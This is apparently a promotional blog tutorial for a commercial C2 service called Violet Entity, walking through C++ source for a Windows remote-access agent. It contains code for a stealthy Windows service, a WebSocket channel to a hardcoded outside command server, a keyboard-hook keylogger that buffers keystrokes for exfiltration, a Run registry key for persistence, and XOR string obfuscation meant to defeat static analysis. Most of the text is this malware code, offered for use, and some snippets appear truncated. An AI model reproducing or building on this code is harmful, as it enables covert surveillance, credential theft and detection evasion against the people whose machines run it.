Skip to main content

Command Palette

Search for a command to run...

Building a Modular Windows Agent Architecture — From Sockets to C2

Updated
5 min read

Building a production-grade remote Windows agent is more than just a reverse shell. You need resilience, modularity, compile-time configuration, and a protocol that survives NAT, firewalls, and reboots. This guide walks through the architecture of a modular Windows agent framework with a focus on the C++ implementation layer, plugin design, and secure communication.

Architecture Overview

┌─────────────────┐     ┌──────────────┐     ┌───────────────┐
│  Windows Agent  │────▶│  C2 Gateway  │────▶│  Management   │
│  (C++ Service)  │◀────│  (Server)    │◀────│  Dashboard    │
└─────────────────┘     └──────────────┘     └───────────────┘
       │                                              │
  Plugin System                                 Task Queue
  ┌─────────┐       ┌──────────┐           ┌─────────────┐
  │Keylogger│       │ File Ops │           │ Discovery   │
  │Screen   │       │ Shell    │           │ Exfiltration│
  │Process  │       │ Network  │           │ Persistence │
  └─────────┘       └──────────┘           └─────────────┘

1. Core Agent — Windows Service Layer

The agent runs as a Windows service for stealth and auto-restart. The entry point registers with the SCM:

#include 
#include 

SERVICE_STATUS g_Status = {0};
SERVICE_STATUS_HANDLE g_StatusHandle = nullptr;
HANDLE g_StopEvent = nullptr;

VOID WINAPI ServiceMain(DWORD argc, LPSTR* argv) {
    g_StatusHandle = RegisterServiceCtrlHandler("VAgent", ServiceCtrlHandler);
    if (!g_StatusHandle) return;
    
    g_Status.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
    g_Status.dwCurrentState = SERVICE_RUNNING;
    SetServiceStatus(g_StatusHandle, &g_Status);
    
    g_StopEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr);
    AgentInit();
    
    WaitForSingleObject(g_StopEvent, INFINITE);
    AgentCleanup();
    g_Status.dwCurrentState = SERVICE_STOPPED;
    SetServiceStatus(g_StatusHandle, &g_Status);
}

VOID WINAPI ServiceCtrlHandler(DWORD ctrl) {
    if (ctrl == SERVICE_CONTROL_STOP) {
        g_Status.dwCurrentState = SERVICE_STOP_PENDING;
        SetServiceStatus(g_StatusHandle, &g_Status);
        SetEvent(g_StopEvent);
    }
}

int main() {
    SERVICE_TABLE_ENTRY table[] = {
        {(LPSTR)"VAgent", (LPSERVICE_MAIN_FUNCTION)ServiceMain},
        {nullptr, nullptr}
    };
    return StartServiceCtrlDispatcher(table) ? 0 : GetLastError();
}

2. Transport Layer — Encrypted WebSocket

Using WebSocket over wss:// provides NAT traversal and TLS. The agent polls for tasks and sends heartbeats:

#include 
#include 

typedef websocketpp::client WsClient;

class C2Transport {
public:
    C2Transport(const std::string& url) : url_(url), running_(false) {}
    
    void Connect() {
        client_.init_asio(&io_);
        client_.set_tls_init_handler(
            [](auto) { return websocketpp::lib::make_shared(
                boost::asio::ssl::context::tlsv12); }
        );
        client_.set_message_handler([this](auto, auto msg) {
            OnMessage(msg->get_payload());
        });
        client_.set_fail_handler([this](auto) {
            ReconnectAfter(5000);
        });
        client_.set_close_handler([this](auto) {
            if (running_) ReconnectAfter(5000);
        });
        conn_ = client_.get_connection(url_, error_);
        client_.connect(conn_);
        io_.run();
    }
    
    void Send(const std::string& data) {
        if (conn_ && conn_->get_state() == websocketpp::session::state::open) {
            client_.send(conn_->get_handle(), data,
                websocketpp::frame::opcode::text);
        }
    }

private:
    void ReconnectAfter(int ms) {
        std::thread([this, ms] {
            std::this_thread::sleep_for(std::chrono::milliseconds(ms));
            Connect();
        }).detach();
    }
    
    WsClient client_;
    websocketpp::lib::error_code error_;
    WsClient::connection_ptr conn_;
    boost::asio::io_service io_;
    std::string url_;
    std::atomic running_;
};

3. Plugin Architecture

Each capability is a plugin loaded at compile time. This keeps the binary size minimal while enabling composability:

class IPlugin {
public:
    virtual ~IPlugin() = default;
    virtual std::string Name() const = 0;
    virtual bool Init() = 0;
    virtual json Execute(const json& params) = 0;
    virtual void Cleanup() {}
};

class KeyloggerPlugin : public IPlugin {
public:
    std::string Name() const override { return "keylogger"; }
    
    bool Init() override {
        hook_ = SetWindowsHookEx(WH_KEYBOARD_LL, KeyProc,
            GetModuleHandle(nullptr), 0);
        return hook_ != nullptr;
    }
    
    json Execute(const json& params) override {
        std::lock_guard lock(mutex_);
        auto logs = buffer_;
        buffer_.clear();
        return {{"status", "ok"}, {"data", logs}};
    }
    
    void Cleanup() override {
        if (hook_) UnhookWindowsHookEx(hook_);
    }

private:
    static LRESULT CALLBACK KeyProc(int nCode, WPARAM wParam, LPARAM lParam) {
        if (nCode >= 0 && wParam == WM_KEYDOWN) {
            auto kbd = reinterpret_cast(lParam);
            // Buffer keystroke for later exfiltration
            instance_->buffer_ += std::to_string(kbd->vkCode) + ",";
        }
        return CallNextHookEx(nullptr, nCode, wParam, lParam);
    }
    
    HHOOK hook_ = nullptr;
    std::string buffer_;
    std::mutex mutex_;
    static KeyloggerPlugin* instance_;
};

// Registration macro
#define REGISTER_PLUGIN(cls) \
    static PluginRegistrar cls##_reg("cls", []() { return std::make_unique(); })

4. Compile-Time Configuration

Critical parameters are embedded at compile time, not runtime. Each build produces a unique binary with hardcoded endpoints, encryption keys, and behavior flags:

// config.h — generated per-build by the compiler
#ifndef VAGENT_CONFIG_H
#define VAGENT_CONFIG_H

namespace agent {
    constexpr const char* C2_URL = "wss://api.v-entity.pro/agent";
    constexpr const char* INSTANCE_ID = "a7f3c92e-1b4d-4e8f-9a6c-3d2e1f0b8c5a";
    constexpr int HEARTBEAT_INTERVAL_MS = 30000;
    constexpr int RECONNECT_DELAY_MS = 5000;
    constexpr size_t MAX_BUFFER_SIZE = 1024 * 1024; // 1MB
    
    // Feature flags
    constexpr bool ENABLE_KEYLOGGER = true;
    constexpr bool ENABLE_SCREENSHOT = true;
    constexpr bool ENABLE_FILE_OPS = true;
    constexpr bool ENABLE_SHELL = false;
    
    // Crypto
    constexpr const char* ENCRYPTION_KEY = ""; // unique per-binary
}

#endif

5. Task Execution Loop

The agent's main loop receives task JSON from the C2, dispatches to the right plugin, and returns results:

class AgentEngine {
public:
    void RegisterPlugin(std::unique_ptr plugin) {
        plugins_[plugin->Name()] = std::move(plugin);
    }
    
    json HandleTask(const json& task) {
        auto it = plugins_.find(task["plugin"]);
        if (it == plugins_.end()) {
            return {{"error", "unknown plugin"}};
        }
        return it->second->Execute(task["params"]);
    }
    
    void Run(C2Transport& transport) {
        while (running_) {
            auto task = ReceiveTask(transport);
            auto result = HandleTask(task);
            transport.Send(result.dump());
        }
    }

private:
    json ReceiveTask(C2Transport& transport) {
        // Blocks until a task is received or heartbeat fires
        return json::parse(transport.WaitForMessage());
    }
    
    std::unordered_map> plugins_;
    std::atomic running_{true};
};

6. Compile-Time Obfuscation

String obfuscation at compile time defeats static analysis tools. Each string is XOR'd with a build-specific key:

template
struct ObfuscatedString {
    char data[N];
    
    constexpr ObfuscatedString(const char (&str)[N]) : data{} {
        for (size_t i = 0; i < N - 1; ++i) {
            data[i] = str[i] ^ 0xAB;
        }
    }
    
    std::string Decrypt() const {
        std::string result(N - 1, '\0');
        for (size_t i = 0; i < N - 1; ++i) {
            result[i] = data[i] ^ 0xAB;
        }
        return result;
    }
};

// Usage — strings never appear in plaintext in the binary
constexpr auto kC2Url = ObfuscatedString("wss://api.v-entity.pro/agent");
constexpr auto kRegKey = ObfuscatedString("SOFTWARE\Microsoft\Windows\CurrentVersion\Run");

Going to Production

The architecture above handles the core transport, plugin dispatch, and compile-time config. A production deployment requires a C2 gateway for managing multiple agents, a dashboard for task scheduling, and a builder that produces uniquely compiled binaries with per-agent configuration.

The Violet Entity platform provides exactly this: a cloud-based C2 infrastructure, custom compiler per agent, plugin management, and a web dashboard for real-time task execution across all your agents.